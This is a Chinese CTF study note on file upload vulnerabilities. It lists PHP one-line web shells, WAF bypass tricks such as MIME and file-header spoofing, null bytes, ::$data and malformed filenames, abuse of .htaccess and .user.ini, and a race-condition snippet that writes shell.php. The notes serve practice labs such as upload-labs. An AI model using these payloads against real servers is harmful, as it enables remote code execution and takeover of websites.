【CTF笔记】文件上传漏洞

一、后门代码

1、一句话后门

<?php @eval($_get['cmd']); ?>
<?php @eval($_request['cmd']);?>
<script language="php">@eval($_post['cmd']);</script>

注意,在PHP中配置 short_open_tag=on 时,图片中不能含有 <? ,有会影响PHP代码的解析,导致图片马解析错误

2、其他后门代码

后门代码变形见:变形
注: assert() 函数在高版本好像不能直接用,详见:php手册
二次渲染生成图片马(如upload-labs16关)见:二次渲染

二、WAF绕过

1、允许的后缀名测试

使用 BurpSuite 中的 Intruder 爆破可行的后缀名,包括大小写等
字典见:字典

2、更改数据包内容

a、Content-Type

更改Content-Type为图片等,常见的见:MIME类型

b、文件头

更改文件头实现绕过,常用的文件头见:文件头

c、加入特殊字符

如:

空格
.
::$data
//注意,以下两个的区别为get方式会自动解码,而post不会,所以需要自己编码后再发送
%00
0x00
0x0a

注意,可以使用双写某些字符实现对单次过滤的绕过

d、更改保存路径

当可以更改保存名称时,可以更改保存名称为 WebShell.php/.

当通过数组截取后缀名来判断时,可以使用

save_name[0]=WebShell.php/
//具体索引由代码审计中来
save_name[2]=png

原理见upload-labs21

e、其他

其他中的方法来自小迪师傅,因脑洞太大此处不好描述,视频见:小迪安全
在数据包中增加垃圾数据,在数据包大小超过某一限制时,从而直接放行
在数据包文件名处更改filename="WebShell.php"的形式为:

filename="WebShell.php
filename="WebShell.php'
filename=WebShell.php
filename="xxx"WebShell.php
filename="x.jpg;.php"
filename="WebShell.
p
h
p
"
//先看以哪个为准,之后在为准的那个改为php后缀
filename="a.jpg";filename="b.jpg";filename="c.jpg"

部分:
部分PayLoad

3、上传某些配置文件

a、上传Apache下的 .htaccess 文件

上传 .htaccess 实现让PHP解析WebShell.png为php文件等操作
.htaccess 的内容我就不放了,百度即可(其实我试了半天愣是不行 /_ \ )

b、.user.ini

上传 .user.ini 文件,其中配置

//在前面插入WebShell.png
auto_prepend_file=WebShell.png
//在后面插入WebShell.png
auto_append_file=WebShell.png

实现对此目录下的PHP文件,插入到正常PHP文件中并以PHP解析WebShell.png

4、其他方法

a、条件竞争

适用于先上传再判断合规与否的情况
一个 Intruder 负责发包,使文件上传,另一个 Intruder 负责访问,负责访问PHP代码,使其执行将WebShell写到目录中

<?php fputs(fopen('shell.php','w'),'<?php phpinfo();?>');?>

b、常见中间件解析漏洞

Apache换行解析漏洞等,详见:PDF资料

c、文件包含漏洞

配合文件包含漏洞,解析图片马

posted @   Hel1um17  阅读(6)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 推荐几款开源且免费的 .NET MAUI 组件库
· 实操Deepseek接入个人知识库
· 易语言 —— 开山篇
· Trae初体验
点击右上角即可分享
微信分享提示